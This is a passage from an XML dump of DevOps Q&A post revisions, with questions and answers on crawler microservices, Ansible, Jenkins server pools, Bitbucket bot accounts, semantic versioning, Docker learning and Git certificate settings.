&#xD;&#xA;&#xD;&#xA;Script B: Another script that gets the links script A collected and retrieves the information I want from that link. &#xD;&#xA;&#xD;&#xA;Let's stop at that for now, so it doesn't get confusing. &#xD;&#xA;&#xD;&#xA;I'd like to run this scripts on their own servers, and they would connect to my app via api's. &#xD;&#xA;&#xD;&#xA;Both scripts are less than 1000 lines of code and are written in Ruby. &#xD;&#xA;&#xD;&#xA;Requirements &#xD;&#xA;&#xD;&#xA; 1. Both scripts require Selenium, Watir, and headless chrome to run. &#xD;&#xA; 2. The server must be able to autoscale as needed.&#xD;&#xA; 3. If the server is rate-limited or stuck in a link blackhole, I should be able to spin up a new server(host), with a different wan IP, with all the content of the script in as little time as possible. &#xD;&#xA; 4. The server should be affordable, as it's these are long running tasks. The script does not require a database as it only sends back important data back to my app via API. &#xD;&#xA; 5. In short, both scripts should be on their own server (host) and it should be easy to spin up a new one in no time. &#xD;&#xA;&#xD;&#xA;Has anyone worked on a similar use case before? How do you suggest I go about it? &#xD;&#xA;&#xD;&#xA;Many thanks in advance. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8198" PostHistoryTypeId="1" PostId="2620" RevisionGUID="b52ecb5d-822d-4dda-b5c8-236fe183aad1" CreationDate="2017-11-22T16:58:40.690" UserId="5333" Text="Teaching an old dog new tricks: Finally adopting the micro-service architecture" ContentLicense="CC BY-SA 3.0" />
  <row Id="8199" PostHistoryTypeId="3" PostId="2620" RevisionGUID="b52ecb5d-822d-4dda-b5c8-236fe183aad1" CreationDate="2017-11-22T16:58:40.690" UserId="5333" Text="&lt;amazon-web-services&gt;&lt;microservices&gt;&lt;serverless&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8200" PostHistoryTypeId="5" PostId="2620" RevisionGUID="0fe0ac6b-14c5-4c95-88cd-7b3d5077895f" CreationDate="2017-11-22T17:49:38.497" UserId="5333" Comment="added 1 character in body" Text="Is it too late to teach an old dog a new trick?&#xD;&#xA;&#xD;&#xA;I've always been the guy with a monolithic application/codebase. &#xD;&#xA;&#xD;&#xA;For more than 10 years now, I've gotten good at caching, writing good SQL queries, using Redis to store frequently called read data, using background jobs to perform updates, edits, long-running tasks, e.t.c&#xD;&#xA;&#xD;&#xA;Then again, I haven't had to deal with more than 100 million rows in a db before.&#xD;&#xA;&#xD;&#xA;Not until now, I've used up all my tricks and alas no significant improvement.&#xD;&#xA;&#xD;&#xA;Now I'm coming for advice from you smart devops people. &#xD;&#xA;&#xD;&#xA;For my current app, just recently I had a rails app, my DB, and some script in the /lib, Redis, Sidekiq, all on one, you guessed it, server.  &#xD;&#xA;&#xD;&#xA;I read up on Docker and now I have Sidekiq, Redis, my app, and my db all on different containers. &#xD;&#xA;&#xD;&#xA;Now, I'd like to split some functions on my app itself. This is where I need your help.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;Script A: I have this ruby script(a ruby class) that crawls the web for backlink data. Script A only gathers links and removes links that have been parsed already. &#xD;&#xA;&#xD;&#xA;Script B: Another script that gets the links script A collected and retrieves the information I want from that link. &#xD;&#xA;&#xD;&#xA;Let's stop at that for now, so it doesn't get confusing. &#xD;&#xA;&#xD;&#xA;I'd like to run these scripts on their own servers, and they would connect to my app via api's. &#xD;&#xA;&#xD;&#xA;Both scripts are less than 1000 lines of code and are written in Ruby. &#xD;&#xA;&#xD;&#xA;Requirements &#xD;&#xA;&#xD;&#xA; 1. Both scripts require Selenium, Watir, and headless chrome to run. &#xD;&#xA; 2. The server must be able to autoscale as needed.&#xD;&#xA; 3. If the server is rate-limited or stuck in a link blackhole, I should be able to spin up a new server(host), with a different wan IP, with all the content of the script in as little time as possible. &#xD;&#xA; 4. The server should be affordable, as it's these are long running tasks. The script does not require a database as it only sends back important data back to my app via API. &#xD;&#xA; 5. In short, both scripts should be on their own server (host) and it should be easy to spin up a new one in no time. &#xD;&#xA;&#xD;&#xA;Has anyone worked on a similar use case before? How do you suggest I go about it? &#xD;&#xA;&#xD;&#xA;Many thanks in advance. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8201" PostHistoryTypeId="2" PostId="2621" RevisionGUID="0b702264-005e-4da9-a289-9f8cb0207b28" CreationDate="2017-11-22T18:50:59.953" UserId="47" Text="In your approach I see a few scalability problems - I'm judging from a [Google App Engine (GAE)][1] context, where scalability is achieved via breakdown of the work in small tasks/work items and strict limitation of the response time for a task execution:&#xD;&#xA;&#xD;&#xA;- you're duplicating some piece of functionality: both scripts need to parse the same page, leading to your requirement #1&#xD;&#xA;- the task execution time for script A is fundamentally unbound, it can vary widely depending on the number of links discovered which need to be checked if already crawled&#xD;&#xA;&#xD;&#xA;I'd approach this a bit differently to avoid these issues. I don't even see a need for separate services for this particular job:&#xD;&#xA;&#xD;&#xA;- the service pulls individual page URLs as separate tasks/work items&#xD;&#xA;- it checks if the URL was already crawled and, if so, does nothing, otherwise continues&#xD;&#xA;- gets the page content and parses it to extract 2 kinds of info:&#xD;&#xA;&#xD;&#xA;  - the list of other URLs to crawl, creating and enqueueing new work items for each one of them (it doesn't check here if they were already crawled, which may take a long time depending on the number of URLs)&#xD;&#xA;  - the other info needed from the page&#xD;&#xA;&#xD;&#xA;In this approach the duration of each task execution is reduced to the minimum necessary: one page parsing and only one check if a URL has already been crawled. And each page is only parsed once.&#xD;&#xA;&#xD;&#xA;The number of pending work items would be the driver for scaling - if it goes above a level new instances can be started, if it drops below a level and multiple instances are running some may be stopped. If implemented as a GAE app the GAE infra can take care of that for you [automatically][2].&#xD;&#xA;&#xD;&#xA;This solution can be implemented using a noSQL database (like [Google Datastore][3], in a GAE context), which can scale better than a SQL one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/flexible/ruby/configuring-your-app-with-app-yaml#automatic_scaling&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/flexible/ruby/using-cloud-datastore" ContentLicense="CC BY-SA 3.0" />
  <row Id="8202" PostHistoryTypeId="2" PostId="2622" RevisionGUID="b9304651-6961-4d8c-b281-805f10a927d9" CreationDate="2017-11-22T18:55:37.153" UserId="5336" Text="We have multiple environments close to 7 for an application that has UI and also integration server that accepts SOAP xmls.&#xD;&#xA;&#xD;&#xA;Its hard to maintain the environment integrity when many people working, developing, testing on these servers. Almost every 2nd day one or the other environment has issue and lot of effort and time goes in fixing that.&#xD;&#xA;&#xD;&#xA;What we are looking for is an automated testing tool that has a capability to run/schedule test cases both UI based (like macros) and XML based. Lets say this tool runs the test cases every morning on each of the environment and sends out an email report of the output/results. &#xD;&#xA;&#xD;&#xA;Based on your experience which tool fits best to our requirement. Please suggest.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Viv" ContentLicense="CC BY-SA 3.0" />
  <row Id="8203" PostHistoryTypeId="1" PostId="2622" RevisionGUID="b9304651-6961-4d8c-b281-805f10a927d9" CreationDate="2017-11-22T18:55:37.153" UserId="5336" Text="Automated Testing Jobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="8204" PostHistoryTypeId="3" PostId="2622" RevisionGUID="b9304651-6961-4d8c-b281-805f10a927d9" CreationDate="2017-11-22T18:55:37.153" UserId="5336" Text="&lt;automation&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8205" PostHistoryTypeId="2" PostId="2623" RevisionGUID="952eb3ee-3ac8-47b8-a2a1-699f33469934" CreationDate="2017-11-22T20:58:40.940" UserId="5316" Text="I see a mismatch between the problem you describe and the solution you're asking for.  Your problem seems to be managing your environments.  You seem to think automated testing is the answer.&#xD;&#xA;&#xD;&#xA;But why not automate managing your environments to prevent the manual effort that goes into fixing them?&#xD;&#xA;&#xD;&#xA;It's very important to reset test environments to a known good state before running automated tests.  Without a reset, it takes effort to figure out if a test failure is due to code changes or environment changes.  It's about the same effort as manually fixing the environment in my experience.&#xD;&#xA;&#xD;&#xA;There are many approaches for creating or resetting test environments.  Probably it's a too broad question and a matter of opinion.&#xD;&#xA;&#xD;&#xA;Once you have a repeatable way to provide a known good test environment, there are many tools for automating regular test runs and emailing results.  Probably it's a too broad question and a matter of opinion." ContentLicense="CC BY-SA 3.0" />
  <row Id="8206" PostHistoryTypeId="2" PostId="2624" RevisionGUID="0e49f973-4391-4353-856f-60220ee0f4d0" CreationDate="2017-11-22T21:13:14.800" UserId="323" Text="I have playbook that I've been hacking on for a year and it works OK, but I know it's not great, part of it runs ansible on the target machine with a &quot;command&quot; task.  Because of that, I don't see the output of this task in my ansible playbook.  &#xD;&#xA;&#xD;&#xA;I need to run this play in the middle of the playbook because it is dependent on a prior task and a subsequent task depends on it (otherwise I'd break it up differently) &#xD;&#xA;&#xD;&#xA;I'd like to be able to see the output of all my plays, is there a better way to branch off plays in the middle of a play.  &#xD;&#xA;&#xD;&#xA;For instance: given a playbook running on HOST_A and HOST_B at TASK 3, suspend running plays, run next plays on HOST_C and HOST_D then HOST_E and HOST_F? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8207" PostHistoryTypeId="1" PostId="2624" RevisionGUID="0e49f973-4391-4353-856f-60220ee0f4d0" CreationDate="2017-11-22T21:13:14.800" UserId="323" Text="What is the best strategy for running an ansible playbook within an ansible playbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8208" PostHistoryTypeId="3" PostId="2624" RevisionGUID="0e49f973-4391-4353-856f-60220ee0f4d0" CreationDate="2017-11-22T21:13:14.800" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8209" PostHistoryTypeId="2" PostId="2625" RevisionGUID="8d9be214-73ed-4f86-8b6e-9da983bb5c3b" CreationDate="2017-11-22T21:32:37.920" UserId="519" Text="If I've understood your problem correctly:&#xD;&#xA;&#xD;&#xA;- the `ansible` shell command in the middle could be converted to a simple playbook using the `command` task - let's call this `middle.yml`&#xD;&#xA;- your existing playbook could then directly import this `middle.yml` play (or even a more complex playbook).  In Ansible 2.4+, you would use [import_playbook](http://docs.ansible.com/ansible/latest/playbooks_reuse_includes.html#importing-playbooks), specifically `import_playbook: middle.yml`, or in earlier versions, just `include: middle.yml`.&#xD;&#xA;&#xD;&#xA;This processes the whole `middle.yml` playbook as if it was part of the main playbook - you have all the features of Ansible plays (`hosts` etc) and the output appears as part of main playbook.&#xD;&#xA;&#xD;&#xA;This answer may need updating depending on your response to my comment above." ContentLicense="CC BY-SA 3.0" />
  <row Id="8210" PostHistoryTypeId="2" PostId="2626" RevisionGUID="09b8802e-18d6-4db2-8749-5e70274662a6" CreationDate="2017-11-22T21:58:07.493" UserId="5316" Text="I have a pool of servers to test a provisioning process my team owns.  One server is needed per branch or PR.  The process requires reboots.  Once the process is run, we run some tests.  A Jenkins pipeline automates the provisioning process and test.&#xD;&#xA;&#xD;&#xA;So my problem is how to manage the pool of servers so that &#xD;&#xA;&#xD;&#xA; 1. Any available pool server can be selected for a build&#xD;&#xA; 2. A server claimed for a build is unavailable for other builds&#xD;&#xA; 3. Upon successful build, the server is made available again&#xD;&#xA; 4. Failed builds are not made available so they retain the failed state for investigation (with manual return to the pool after)&#xD;&#xA;&#xD;&#xA;I can't just use the executor on the slave node because we reboot the server and that would kill the job.&#xD;&#xA;&#xD;&#xA;My current solution is:&#xD;&#xA;&#xD;&#xA; 1. Pool servers are setup as Jenkins slaves with one executor each and a common label&#xD;&#xA; 2. A pipeline stage is assigned to the common label, choosing one of the slaves with a free executor--this stage moves ```slave.jar``` to protect against Jenkins restarting the assigned slave (which it annoying will do)&#xD;&#xA; 3. The next pipeline stage uses ```node.getComputer().disconnect()``` to disable the slave--it seems this must run on master so must be in a different stage&#xD;&#xA; 4. A ```post { success { ... } }``` uses ssh to move ```slave.jar``` back into place on the server and ```node.getComputer().connect(true)``` to allow it to be picked again&#xD;&#xA;&#xD;&#xA;This mostly works and is kinda cool, but it adds a ton of noise to the pipeline and worse, suffers from a race condition between steps 2 &amp; 3.  When jobs queue up for the pool, a new one can be assigned to the same node just before a prior jobs disconnects the slave.  When this happens, things break badly.&#xD;&#xA;&#xD;&#xA;Does anyone else use Jenkins to manage a pool of servers where you need to support reboots in the pool and how do you do it?&#xD;&#xA;&#xD;&#xA;Any ideas for ways to manage the pool outside Jenkins, but somehow get the assigned node into Jenkins for the test run?  Plugins I've missed, etc.&#xD;&#xA;&#xD;&#xA;I've examined the few results google returns for the slave disconnect problem and the most promising one was https://groups.google.com/forum/#!topic/jenkinsci-dev/ch2lQZvZdkw -- the suggestion there failed for me because ```OfflineCause.UserCause``` class could not be resolved in my pipeline.  I only know enough Java and Groovy to be dangerous!" ContentLicense="CC BY-SA 3.0" />
  <row Id="8211" PostHistoryTypeId="1" PostId="2626" RevisionGUID="09b8802e-18d6-4db2-8749-5e70274662a6" CreationDate="2017-11-22T21:58:07.493" UserId="5316" Text="Jenkins managing a pool of servers across restarts" ContentLicense="CC BY-SA 3.0" />
  <row Id="8212" PostHistoryTypeId="3" PostId="2626" RevisionGUID="09b8802e-18d6-4db2-8749-5e70274662a6" CreationDate="2017-11-22T21:58:07.493" UserId="5316" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8213" PostHistoryTypeId="2" PostId="2627" RevisionGUID="aa825369-cf0b-4eec-8086-e1f46e8fd069" CreationDate="2017-11-22T22:22:29.187" UserId="210" Text="**Introduction**&#xD;&#xA;&#xD;&#xA;According to [this article][1] a user account could be given to a robot for Continuous Integration purposes.&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA;The IT department created a new email account, this was used to login to the git repository, a ssh key was created, the public key added to bitbucket and finally the jenkins user was able to create commits in bitbucket.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;As the email account is only used by the robot and the robot itself is not reading emails it feels that the email account is misused.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;The question is whether it is possible to create a robot account in bitbucket without creating a new email account. &#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;If there is no separate email account how could bitbucket deviate between the robot account and an existing real user? A unique email account should be used right?&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/articles/differences-between-user-and-organization-accounts/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8214" PostHistoryTypeId="1" PostId="2627" RevisionGUID="aa825369-cf0b-4eec-8086-e1f46e8fd069" CreationDate="2017-11-22T22:22:29.187" UserId="210" Text="Is it possible to create a robot account in bitbucket without creating a new email account?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8215" PostHistoryTypeId="3" PostId="2627" RevisionGUID="aa825369-cf0b-4eec-8086-e1f46e8fd069" CreationDate="2017-11-22T22:22:29.187" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8216" PostHistoryTypeId="2" PostId="2628" RevisionGUID="0e2fcbeb-2fa6-4098-a23f-c9fc5033947c" CreationDate="2017-11-22T22:36:53.953" UserId="210" Text="I suggest to follow the principles that are defined in the [Semantic Versioning 2.0.0 documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://semver.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8217" PostHistoryTypeId="5" PostId="2615" RevisionGUID="c9485653-708e-4e63-9ff6-470f249097a2" CreationDate="2017-11-22T22:37:19.360" UserId="210" Comment="deleted 13 characters in body" Text="When dealing with publishing SOX application artifacts what is the best strategy for versioning SNAPSHOTS?&#xD;&#xA;&#xD;&#xA;I'm currently following the semver pattern `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;` and wondering if it is necessary to get granular with the version strategy and append something like a git hash to the end? e.g. `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;-SNAPSHOT&lt;githash&gt;` &#xD;&#xA;&#xD;&#xA;Or can I treat SNAPSHOTS as a SNAPSHOT should be and drop the hash all together?&#xD;&#xA;&#xD;&#xA;My argument for the latter is that SNAPSHOTS are not cut as release candidates (rc) until they actually enter the release pipeline and therefore can be clobbered, especially when following a mature CI pattern where changes are continuously merged to master following early testing validation.&#xD;&#xA;&#xD;&#xA;In addition to this, typically in an organization, a change request is only opened and tracked at the time you are performing a release.&#xD;&#xA;&#xD;&#xA;(additional convo happening [here][1])&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/7ekybi/sarbanesoxley_sox_versioning_strategy/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8219" PostHistoryTypeId="5" PostId="1615" RevisionGUID="1c518bf2-9b72-46e7-b324-770992e2b2bb" CreationDate="2017-11-23T07:15:09.440" UserId="519" Comment="added 88 characters in body" Text="You should probably create an Ansible issue for this as it's most likely a bug in Ansible.&#xD;&#xA;&#xD;&#xA;The first error makes me think about WinRM pipelining:&#xD;&#xA;&#xD;&#xA;- Ansible 2.3.0 introduced an always-on WinRM pipelining feature (similar to [SSH pipelining](http://docs.ansible.com/ansible/latest/intro_configuration.html#pipelining)), and that may be behind this.  &#xD;&#xA;- SSH pipelining can cause issues in Ansible for Linux, and it can be useful to turn it off, but this isn't yet possible for WinRM pipelining.&#xD;&#xA;&#xD;&#xA;This [related issue](https://github.com/ansible/ansible/pull/25012) includes some Git commits that will re-enable 'non-pipelined' mode in a future release (should now be released in 2.4, possibly with a backport as part of 2.3.2 - see [this comment](https://github.com/hashicorp/packer/issues/4904#issuecomment-317185655))&#xD;&#xA;&#xD;&#xA;Try upgrading to Ansible 2.4.1+ (which generally works well) to get the fix.  Or try downgrading to Ansible 2.2.3 to see if this helps - this will disable WinRM pipelining and may avoid other regression bugs in this area.&#xD;&#xA;&#xD;&#xA;- If you installed Ansible using `pip`, you can do  `pip install ansible==2.4.1` &#xD;&#xA; to upgrade (or `ansible==2.2.3` to downgrade), then if that doesn't help, do the same with `2.3.1` to upgrade again.&#xD;&#xA;- you should also upgrade to latest `pywinrm` as mentioned in the issues above" ContentLicense="CC BY-SA 3.0" />
  <row Id="8221" PostHistoryTypeId="2" PostId="2630" RevisionGUID="20c2f285-ccbb-4b4d-9e2d-cad117353647" CreationDate="2017-11-23T10:23:12.973" UserId="707" Text="Using Docker's healthcheck feature (a side process for an additional script) you could register and sync your container health status with an external service e.g. Consul. The API of this service would then allow further services to take some action, for example as you said redeploy the whole stack or raise an issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="8222" PostHistoryTypeId="2" PostId="2631" RevisionGUID="fc822ac0-b02c-4acc-9331-0bb08d4b3aeb" CreationDate="2017-11-23T10:34:42.527" UserId="5248" Text="I am a newbie to docker and tried some hands-on (not deeper learned upto basics of image,container)&#xD;&#xA;by following docker official documentation.So to take my learning curve to next level i have implemented what i read by taking sample applications &#xD;&#xA;(like &quot;Dockerising a Node.js and MongoDB App by nida sajid&quot;, run a sample java restful webapplication which takes  name and &#xD;&#xA;email and storing it into mysql container --done this by using 2 containers 1.tomcat --used to deploy war file 2.mysql-To store the data(name&amp;email))&#xD;&#xA;So My question is what are the advanced concepts that i can learn and suggest me so that i can improve my knowledge &#xD;&#xA;1.What are the advanced concepts in docker other than this (like used in real world scenario)&#xD;&#xA;2.suggestions (like websites,videos) to improve my knowledge &#xD;&#xA;3.How to use docker with jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="8223" PostHistoryTypeId="1" PostId="2631" RevisionGUID="fc822ac0-b02c-4acc-9331-0bb08d4b3aeb" CreationDate="2017-11-23T10:34:42.527" UserId="5248" Text="Suggestions to improve knowledge on docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8224" PostHistoryTypeId="3" PostId="2631" RevisionGUID="fc822ac0-b02c-4acc-9331-0bb08d4b3aeb" CreationDate="2017-11-23T10:34:42.527" UserId="5248" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8225" PostHistoryTypeId="5" PostId="2631" RevisionGUID="878dd162-83ff-4c7d-93ee-7066379babf2" CreationDate="2017-11-23T10:39:05.220" UserId="13" Comment="Some formatting to ease the reading." Text="I am a newbie to docker and tried some hands-on (not deeper learned upto basics of image,container)&#xD;&#xA;by following docker official documentation.  &#xD;&#xA;So to take my learning curve to next level I have implemented what I read by taking sample applications &#xD;&#xA;like &quot;Dockerising a Node.js and MongoDB App by nida sajid&quot;, run a sample java restful webapplication which takes  name and &#xD;&#xA;email and storing it into mysql container -- done this by using 2 containers &#xD;&#xA;&#xD;&#xA;1. tomcat --used to deploy war file&#xD;&#xA;2. mysql-To store the data(name&amp;email))&#xD;&#xA;&#xD;&#xA;So my question is what are the advanced concepts that I can learn and, can you suggest me so that I can improve my knowledge. &#xD;&#xA;&#xD;&#xA;1. What are the advanced concepts in docker other than this (like used in real world scenario)&#xD;&#xA;2. suggestions (like websites,videos) to improve my knowledge &#xD;&#xA;3. How to use docker with jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="8226" PostHistoryTypeId="2" PostId="2632" RevisionGUID="341e6850-00fc-4850-9ecc-3f57ec778e35" CreationDate="2017-11-23T10:55:07.387" UserId="707" Text="Welcome to the Docker world :-)&#xD;&#xA;&#xD;&#xA;* Advanced concepts - try Docker Swarm to run and scale a distrubuted system. &#xD;&#xA;* This community, local Docker user groups, moby GitHub, Slack channels&#xD;&#xA;* You can use Jenkins or any other CI tool for the next level of integration, &quot;source to image&quot; aka &quot;image bakery&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8227" PostHistoryTypeId="2" PostId="2633" RevisionGUID="4a70f064-b6cc-46c4-b26f-a352d14cb1a7" CreationDate="2017-11-23T12:52:52.970" UserId="707" Text="I have configured Git to use a specific CA certificate, but how can opt-out for it other than using the switch `-c http.sslVerify=false`? (or enforce other certificate).&#xD;&#xA;&#xD;&#xA;Okay, a workaround was to create a shell script for a shortcut and use it like&#xD;&#xA;&#xD;&#xA;    gitf clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The real gotcha comes then in if I would like to use the Atom editor. Somehow I cannot find an option for the git executable.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8228" PostHistoryTypeId="1" PostId="2633" RevisionGUID="4a70f064-b6cc-46c4-b26f-a352d14cb1a7" CreationDate="2017-11-23T12:52:52.970" UserId="707" Text="Multiple git profiles especialy with Atom" ContentLicense="CC BY-SA 3.0" />
  <row Id="8229" PostHistoryTypeId="3" PostId="2633" RevisionGUID="4a70f064-b6cc-46c4-b26f-a352d14cb1a7" CreationDate="2017-11-23T12:52:52.970" UserId="707" Text="&lt;git&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8230" PostHistoryTypeId="2" PostId="2634" RevisionGUID="f8c2acc7-4b90-4571-94c2-3bec491fc0ed" CreationDate="2017-11-23T13:07:26.987" UserId="4175" Text="Some good next topics for the real world are...&#xD;&#xA;&#xD;&#xA;- Security. There are several security concerns with docker, for example &#xD;&#xA;  - Is there a problem running stuff inside the container as `root`?&#xD;&#xA;  - Is there a problem giving non-`root` users on the host access to the docker daemon?&#xD;&#xA;  - Is there a problem with the docker daemon running as `root` on the host?&#xD;&#xA;  - All three can be solved with docker out-of-the-box. Learn how to.&#xD;&#xA;- Networking. Check out the docker networking options.&#xD;&#xA;- Image sizes are a recurring problem, especially if you build your stuff inside a docker image. Your average naive first build image may be 1GB or more - try to get the same image, whatever it is, to 500, 300 or 200 MB.&#xD;&#xA;- Docker volumes; how to get configuration into your containers; etc.&#xD;&#xA;- Private artifact repositories.&#xD;&#xA;- Explore the environment: docker compose, docker swarm, etc.&#xD;&#xA;- Finally, take  a big leap on to your next technology... OpenShift? Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8231" PostHistoryTypeId="5" PostId="2626" RevisionGUID="553fe4a1-045e-4930-a3b7-f4b254bb6c82" CreationDate="2017-11-23T13:26:53.617" UserId="5316" Comment="grammar" Text="I have a pool of servers to test a provisioning process my team owns.  One server is needed per branch or PR.  The process requires reboots.  Once the process is run, we run some tests.  A Jenkins pipeline automates the provisioning process and test.&#xD;&#xA;&#xD;&#xA;So my problem is how to manage the pool of servers so that &#xD;&#xA;&#xD;&#xA; 1. Any available pool server can be selected for a build&#xD;&#xA; 2. A server claimed for a build is unavailable for other builds&#xD;&#xA; 3. Upon successful build, the server is made available again&#xD;&#xA; 4. Failed builds are not made available so they retain the failed state for investigation (with manual return to the pool after)&#xD;&#xA;&#xD;&#xA;I can't just use the executor on the slave node because we reboot the server and that would kill the job.&#xD;&#xA;&#xD;&#xA;My current solution is:&#xD;&#xA;&#xD;&#xA; 1. Pool servers are setup as Jenkins slaves with one executor each and a common label&#xD;&#xA; 2. A pipeline stage is assigned to the common label, choosing one of the slaves with a free executor--this stage moves ```slave.jar``` to protect against Jenkins restarting the assigned slave (which it annoyingly will do)&#xD;&#xA; 3. The next pipeline stage uses ```node.getComputer().disconnect()``` to disable the slave--it seems this must run on master so must be in a different stage&#xD;&#xA; 4. A ```post { success { ... } }``` uses ssh to move ```slave.jar``` back into place on the server and ```node.getComputer().connect(true)``` to allow it to be picked again&#xD;&#xA;&#xD;&#xA;This mostly works and is kinda cool, but it adds a ton of noise to the pipeline and worse, suffers from a race condition between steps 2 &amp; 3.  When jobs queue up for the pool, a new one can be assigned to the same node just before a prior jobs disconnects the slave.  When this happens, things break badly.&#xD;&#xA;&#xD;&#xA;Does anyone else use Jenkins to manage a pool of servers where you need to support reboots in the pool and how do you do it?&#xD;&#xA;&#xD;&#xA;Any ideas for ways to manage the pool outside Jenkins, but somehow get the assigned node into Jenkins for the test run?  Plugins I've missed, etc.&#xD;&#xA;&#xD;&#xA;I've examined the few results google returns for the slave disconnect problem and the most promising one was https://groups.google.com/forum/#!topic/jenkinsci-dev/ch2lQZvZdkw -- the suggestion there failed for me because ```OfflineCause.UserCause``` class could not be resolved in my pipeline.  I only know enough Java and Groovy to be dangerous!" ContentLicense="CC BY-SA 3.0" />
  <row Id="8232" PostHistoryTypeId="5" PostId="2633" RevisionGUID="3c870097-fe6f-4e85-8cc7-c4c9e6293036" CreationDate="2017-11-23T13:27:32.537" UserId="707" Comment="added 40 characters in body" Text="I have configured Git to use a specific CA certificate, but how can opt-out for it other than using the switch `-c http.sslVerify=false`? (or enforce other certificate which seems better in terms of security).&#xD;&#xA;&#xD;&#xA;Okay, a workaround was to create a shell script for a shortcut and use it like&#xD;&#xA;&#xD;&#xA;    gitf clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The real gotcha comes then in if I would like to use the Atom editor. Somehow I cannot find an option for the git executable.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8233" PostHistoryTypeId="2" PostId="2635" RevisionGUID="891d0daf-852e-42a9-bcbe-514ff1d5bb5b" CreationDate="2017-11-23T16:03:53.900" UserId="707" Text="Puppet Labs' annual DevOps reports are a very nice and representative source of information, AFAIK. Indeed, with Kim Gene on board they are THE industrial gurus I'd say.&#xD;&#xA;&#xD;&#xA;Now I have a question to the following data in [this year's report][1] (page 21). &#xD;&#xA;&#xD;&#xA;Can we multiply the data for 2016 and 2017? &#xD;&#xA;&#xD;&#xA;For example, take the lead time for changes.&#xD;&#xA;&#xD;&#xA;    2555x440=1124000 # more than a milion times faster?&#xD;&#xA;&#xD;&#xA;Does this mean then, if in 2015 it took 6 months (say 180 days real time i.e. 4320 hours) to deliver a bugfix, then &#xD;&#xA;&#xD;&#xA;* in 2016 it took just under 2 hours, &#xD;&#xA;* and in 2017, *16 seconds*?  &#xD;&#xA;&#xD;&#xA;Is the warp speed delivery speed real now? In 2014, management was very sceptical about even 30x speedup. Now I'm sceptical.&#xD;&#xA;&#xD;&#xA;Question: this must be absolute minimum values for very lightweight microservices ( as commit arrives, you have no compilation step, and Docker image is very small), and you have really fast infrastructure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/state-of-devops-report&#xD;&#xA;  [2]: https://i.stack.imgur.com/qvpZs.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8234" PostHistoryTypeId="1" PostId="2635" RevisionGUID="891d0daf-852e-42a9-bcbe-514ff1d5bb5b" CreationDate="2017-11-23T16:03:53.900" UserId="707" Text="From 6 months to 16 seconds? grokking DevOps speedup date from DevOps report by DORA" ContentLicense="CC BY-SA 3.0" />
  <row Id="8235" PostHistoryTypeId="3" PostId="2635" RevisionGUID="891d0daf-852e-42a9-bcbe-514ff1d5bb5b" CreationDate="2017-11-23T16:03:53.900" UserId="707" Text="&lt;speed&gt;" ContentLicense="CC BY-SA 3.0" />
